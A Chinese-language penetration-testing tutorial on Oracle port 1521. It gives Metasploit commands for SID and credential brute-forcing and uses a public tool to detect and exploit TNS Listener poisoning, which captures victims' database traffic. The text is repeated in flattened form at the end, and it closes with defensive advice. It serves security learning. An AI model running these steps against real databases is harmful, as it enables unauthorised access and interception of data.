学习笔记 | 记一次对1521端口的漏洞利用以及踩坑
字数 2109 2025-08-15 21:32:35

Oracle 1521端口漏洞利用实战教学文档

1. 前言

本教学文档详细记录了对Oracle数据库1521端口的渗透测试过程,包含SID爆破、TNS Listener远程注册投毒漏洞的检测与利用方法。文档基于实际渗透测试经验整理,涵盖了从信息收集到漏洞利用的全过程,以及过程中遇到的技术难题和解决方案。

2. 环境准备

2.1 工具准备

  • Metasploit Framework:用于SID爆破和漏洞检测
  • Oracle Instant Client:包含basic、sdk和sqlplus组件
  • ruby-oci8:Oracle数据库接口
  • oracle-tns-poison:TNS投毒漏洞利用工具
  • Wireshark/tshark:网络流量分析工具

2.2 依赖安装

2.2.1 Oracle Instant Client安装

  1. 从Oracle官网下载以下组件:

    • instantclient-basic-linux.x64
    • instantclient-sdk-linux.x64
    • instantclient-sqlplus-linux.x64
  2. 解压后会自动生成instantclient_19_6目录

  3. 配置环境变量(添加到~/.bashrc):

export PATH=$PATH:/opt/instantclient_19_6
export SQLPATH=/opt/instantclient_19_6
export TNS_ADMIN=/opt/instantclient_19_6
export LD_LIBRARY_PATH=/opt/instantclient_19_6
export ORACLE_HOME=/opt/instantclient_19_6
  1. 使环境变量生效:
source ~/.bashrc

2.2.2 ruby-oci8安装

  1. 下载ruby-oci8安装包(推荐版本2.2.8)

  2. 解压并进入目录:

tar -zxvf ruby-oci8-2.2.8.tar.gz
cd ruby-oci8-2.2.8/
  1. 安装编译工具(如遇错误):
apt-get install build-essential
# 如遇依赖问题,可尝试指定版本安装
apt install gcc-9-base=9.3.0-14
  1. 编译安装:
make && make install

3. SID爆破

3.1 SID概念

SID(System IDentifier)是Oracle数据库的唯一标识符。远程连接Oracle数据库需要知道:

  • SID
  • 用户名
  • 密码
  • 服务器IP地址

3.2 使用Metasploit爆破SID

  1. 启动msfconsole:
msfconsole
  1. 使用SID爆破模块:
use auxiliary/admin/oracle/sid_brute
  1. 设置目标参数:
set RHOSTS <目标IP>
set RPORT 1521
  1. 执行爆破:
run

成功爆破后,将获得目标数据库的SID(如'ORCL')。

3.3 使用SID爆破账号密码

  1. 使用Metasploit的Oracle登录爆破模块:
use auxiliary/admin/oracle/oracle_login
  1. 设置参数:
set RHOSTS <目标IP>
set RPORT 1521
set SID <爆破得到的SID>
set USER_FILE <用户名字典路径>
set PASS_FILE <密码字典路径>
  1. 执行爆破:
run

4. TNS Listener远程注册投毒漏洞

4.1 漏洞原理

攻击者无需用户名和密码即可利用此漏洞:

  • 将数据库服务器的合法'TNS Listener'组件中的数据转向到攻击者控制的系统
  • 控制远程组件的数据库实例
  • 造成组件和合法数据库之间的攻击

4.2 漏洞检测

4.2.1 使用Metasploit检测

  1. 使用tnspoison_checker模块:
use auxiliary/scanner/oracle/tnspoison_checker
  1. 设置目标参数:
set RHOSTS <目标IP>
set RPORT 1521
  1. 执行检测:
run

4.2.2 使用oracle-tns-poison检测

  1. 下载工具:
git clone https://github.com/interference-security/oracle-tns-poison
  1. 使用check_tns_poison.py检测:
python check_tns_poison.py
  • 注册名为NSGR的服务
  • 观察是否收到接受响应
  1. 使用tshark抓包验证:
tshark -i <网卡> port 1521
  • 观察是否与目标通过三次握手进行连接
  • 目标是否接受请求

4.3 漏洞利用

4.3.1 通过sqlplus连接

如果已获取数据库账号密码,可使用sqlplus工具连接:

sqlplus 用户名/密码@ip地址[:端口]/service_name [as sysdba]

4.3.2 使用oracle-tns-poison接收数据

  1. 使用tnspoisonv1.py:
python tnspoisonv1.py 攻击者ip 端口 数据库名 受害者ip 端口
  • 前提:必须有相同名字的数据库
  • 可接收目标发送的所有数据
  1. 流量分析:
  • 使用Wireshark分析捕获的流量
  • 可获取受害人向攻击者发送的所有数据

5. 防御建议

  1. 限制网络访问

    • 配置防火墙规则,限制1521端口的访问来源
    • 使用VPN或跳板机访问数据库
  2. 加强认证

    • 使用强密码策略
    • 定期更换密码
    • 限制失败登录尝试次数
  3. 更新补丁

    • 及时安装Oracle发布的安全补丁
    • 特别是修复TNS Listener漏洞的补丁
  4. 网络监控

    • 监控1521端口的异常连接
    • 设置告警机制,检测暴力破解行为
  5. 最小权限原则

    • 数据库用户只授予必要的最小权限
    • 避免使用默认账户和密码

6. 参考资源

  1. Oracle TNS Poison漏洞详解:https://xz.aliyun.com/t/6034
  2. oracle-tns-poison工具:https://github.com/interference-security/oracle-tns-poison
  3. Oracle安全配置指南:https://blog.csdn.net/qq_40606798/article/details/86493164
  4. Oracle Instant Client下载:https://www.oracle.com/database/technologies/instant-client/linux-x86-64-downloads.html
  5. ruby-oci8下载:https://bintray.com/kubo/generic/ruby-oci8

7. 总结

本教学文档详细介绍了针对Oracle数据库1521端口的渗透测试方法,重点包括:

  1. SID爆破的技术实现和依赖解决
  2. TNS Listener远程注册投毒漏洞的检测与利用
  3. 实际测试中遇到的技术难题和解决方案
  4. 完整的防御建议体系

通过本教学,安全研究人员可以全面了解Oracle数据库的常见安全漏洞及利用方法,同时为系统管理员提供有效的防御建议。

Oracle 1521端口漏洞利用实战教学文档 1. 前言 本教学文档详细记录了对Oracle数据库1521端口的渗透测试过程,包含SID爆破、TNS Listener远程注册投毒漏洞的检测与利用方法。文档基于实际渗透测试经验整理,涵盖了从信息收集到漏洞利用的全过程,以及过程中遇到的技术难题和解决方案。 2. 环境准备 2.1 工具准备 Metasploit Framework :用于SID爆破和漏洞检测 Oracle Instant Client :包含basic、sdk和sqlplus组件 ruby-oci8 :Oracle数据库接口 oracle-tns-poison :TNS投毒漏洞利用工具 Wireshark/tshark :网络流量分析工具 2.2 依赖安装 2.2.1 Oracle Instant Client安装 从Oracle官网下载以下组件: instantclient-basic-linux.x64 instantclient-sdk-linux.x64 instantclient-sqlplus-linux.x64 解压后会自动生成instantclient_ 19_ 6目录 配置环境变量(添加到~/.bashrc): 使环境变量生效: 2.2.2 ruby-oci8安装 下载ruby-oci8安装包(推荐版本2.2.8) 解压并进入目录: 安装编译工具(如遇错误): 编译安装: 3. SID爆破 3.1 SID概念 SID(System IDentifier)是Oracle数据库的唯一标识符。远程连接Oracle数据库需要知道: SID 用户名 密码 服务器IP地址 3.2 使用Metasploit爆破SID 启动msfconsole: 使用SID爆破模块: 设置目标参数: 执行爆破: 成功爆破后,将获得目标数据库的SID(如'ORCL')。 3.3 使用SID爆破账号密码 使用Metasploit的Oracle登录爆破模块: 设置参数: 执行爆破: 4. TNS Listener远程注册投毒漏洞 4.1 漏洞原理 攻击者无需用户名和密码即可利用此漏洞: 将数据库服务器的合法'TNS Listener'组件中的数据转向到攻击者控制的系统 控制远程组件的数据库实例 造成组件和合法数据库之间的攻击 4.2 漏洞检测 4.2.1 使用Metasploit检测 使用tnspoison_ checker模块: 设置目标参数: 执行检测: 4.2.2 使用oracle-tns-poison检测 下载工具: 使用check_ tns_ poison.py检测: 注册名为NSGR的服务 观察是否收到接受响应 使用tshark抓包验证: 观察是否与目标通过三次握手进行连接 目标是否接受请求 4.3 漏洞利用 4.3.1 通过sqlplus连接 如果已获取数据库账号密码,可使用sqlplus工具连接: 4.3.2 使用oracle-tns-poison接收数据 使用tnspoisonv1.py: 前提:必须有相同名字的数据库 可接收目标发送的所有数据 流量分析: 使用Wireshark分析捕获的流量 可获取受害人向攻击者发送的所有数据 5. 防御建议 限制网络访问 : 配置防火墙规则,限制1521端口的访问来源 使用VPN或跳板机访问数据库 加强认证 : 使用强密码策略 定期更换密码 限制失败登录尝试次数 更新补丁 : 及时安装Oracle发布的安全补丁 特别是修复TNS Listener漏洞的补丁 网络监控 : 监控1521端口的异常连接 设置告警机制,检测暴力破解行为 最小权限原则 : 数据库用户只授予必要的最小权限 避免使用默认账户和密码 6. 参考资源 Oracle TNS Poison漏洞详解:https://xz.aliyun.com/t/6034 oracle-tns-poison工具:https://github.com/interference-security/oracle-tns-poison Oracle安全配置指南:https://blog.csdn.net/qq_ 40606798/article/details/86493164 Oracle Instant Client下载:https://www.oracle.com/database/technologies/instant-client/linux-x86-64-downloads.html ruby-oci8下载:https://bintray.com/kubo/generic/ruby-oci8 7. 总结 本教学文档详细介绍了针对Oracle数据库1521端口的渗透测试方法,重点包括: SID爆破的技术实现和依赖解决 TNS Listener远程注册投毒漏洞的检测与利用 实际测试中遇到的技术难题和解决方案 完整的防御建议体系 通过本教学,安全研究人员可以全面了解Oracle数据库的常见安全漏洞及利用方法,同时为系统管理员提供有效的防御建议。